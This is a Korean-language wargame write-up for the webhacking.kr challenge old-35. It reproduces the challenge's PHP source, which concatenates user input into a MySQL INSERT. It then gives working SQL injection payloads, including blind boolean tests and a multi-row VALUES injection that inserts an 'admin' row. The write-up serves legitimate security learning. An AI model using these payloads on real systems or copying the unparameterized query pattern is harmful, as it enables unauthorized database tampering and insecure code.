본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-35

Write-Up

 

<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px>
<input name=id type=hidden value=guest>
<input type=submit value='add'>
</form>

<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
  if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
  if(strlen($_GET['id']) > 5) exit("no hack");
  if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
  mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
  echo "Done<br>";
}

$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
  solve(35);
  mysqli_query($db,"delete from chall35");
}

$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
  echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->\n";
?>

 

서버로 form 전송이 되는, phone 값과 id ( hidden 속성 ) 값이 존재한다. phone 인자 값에 대한 다양한 필터링이 존재한다. 그리고 id 인자 값은 길이 제한이 있고, admin 단어에 대한 필터링이 존재한다. 

 

$isAdmin 부분을 보면, 접속되는 외부 IP와 $isAdmin['ip'] 값이 일치해야 함을 알 수 있다. 그리고 사실 상 해당 문제에서는 별 다른 쓸모? 가 없는 $phone_list 가 존재한다. 

 

첫번 째 시도

 

phone 의 인자 값에 대한 blind sql injection을 먼저 시도했다. 

 

?phone=1+and+1+like+2&id=guest

 

참, 거짓 반응이 존재했다. 

 

?phone=0+or+ip+like+%27[나의 IP]%27&id=guest

 

위와 같은 payload에도 참,거짓 반응이 있었으나 그 이상으로는 나아가지 못했다. {$_SERVER['REMOTE_ADDR']} 에 대해 X-Forwarded-For 시도도 해봤지만 안됬다. 그래서 이러한 방법으로는 해결할 수 없다고 판단했다. 

 

 

두번 째 시도

 

MySQL의 Insert 구문의 특성을 이용해주기로 했다. 

 

그림 1 (Insert Into 예제)

 

그림 1 을 보면, INSERT INTO( 필드 이름 생략 가능 ) 테이블 명 VALUES (컬럼1, 컬럼 2,....), (컬럼1, 컬럼 2,....); 같이 쿼리가 사용되었다. 이는 MySQL에서 여러개의 데이터를 한 테이블에 한번에 INSERT 하는 방법이다. 

 

위와 같은 특성을 이용해 phone 파라미터에 대한 인자 값을 아래와 같이 구성해주었다. 

 

?phone=1),(%27admin%27,%27[MY-IP]%27,1234&id=123

 

위와 같이 쿼리를 구성하면 아래와 같은 쿼리가 완성된다 생각할 수 있다. 

 

insert into chall35(id,ip,phone) values('123','나의 IP 주소',1),('admin','나의 IP 주소',1234)

 

 

 

참고

 

 

https://www.tcpschool.com/mysql/mysql_basic_insert

 

코딩교육 티씨피스쿨

4차산업혁명, 코딩교육, 소프트웨어교육, 코딩기초, SW코딩, 기초코딩부터 자바 파이썬 등

tcpschool.com